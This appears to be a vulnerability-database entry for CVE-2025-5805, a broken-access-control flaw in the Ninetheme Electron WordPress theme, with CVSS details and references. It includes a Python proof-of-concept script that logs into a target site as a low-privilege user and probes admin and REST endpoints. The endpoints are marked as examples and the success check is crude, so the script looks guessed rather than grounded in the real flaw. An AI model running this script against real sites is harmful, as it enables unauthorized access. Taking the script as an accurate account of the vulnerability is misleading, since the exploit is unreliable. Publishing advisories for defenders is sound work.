CVE-2025-5805

Description

Missing Authorization vulnerability in Ninetheme Electron electron allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Electron: from n/a through <= 1.8.2.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Ninetheme Electron Theme <= 1.8.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2025-5805 PoC - Broken Access Control in Electron Theme
# Target: WordPress site with Electron Theme <= 1.8.2

target_url = "http://target-wordpress-site.com"

# Step 1: Authenticate as low-privilege user (subscriber)
login_url = f"{target_url}/wp-login.php"
session = requests.Session()

# Login with low privilege account
login_data = {
    "log": "low_privilege_user",
    "pwd": "user_password",
    "wp-submit": "Log In"
}
session.post(login_url, data=login_data)

# Step 2: Exploit the broken access control
# Identify the vulnerable endpoint (example endpoint)
vulnerable_endpoints = [
    "/wp-admin/admin-ajax.php?action=electron_get_private_data",
    "/wp-json/wp/v2/users",
    "/wp-admin/admin.php?page=electron_settings"
]

print("[*] Testing for Broken Access Control vulnerability...")
for endpoint in vulnerable_endpoints:
    url = f"{target_url}{endpoint}"
    response = session.get(url)
    
    # Check if access was granted without proper authorization
    if response.status_code == 200 and "authorization" not in response.text.lower():
        print(f"[!] VULNERABLE: {endpoint}")
        print(f"    Response: {response.text[:200]}...")
    else:
        print(f"[-] Protected: {endpoint}")

print("[*] PoC completed. If vulnerable endpoints found, access control is broken.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-5805
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-5805
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-5805/
[4] VulDB https://vuldb.com/cve/CVE-2025-5805
[5] https://patchstack.com/database/Wordpress/Theme/electron/vulnerability/wordpress-electron-theme-1-8-2-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

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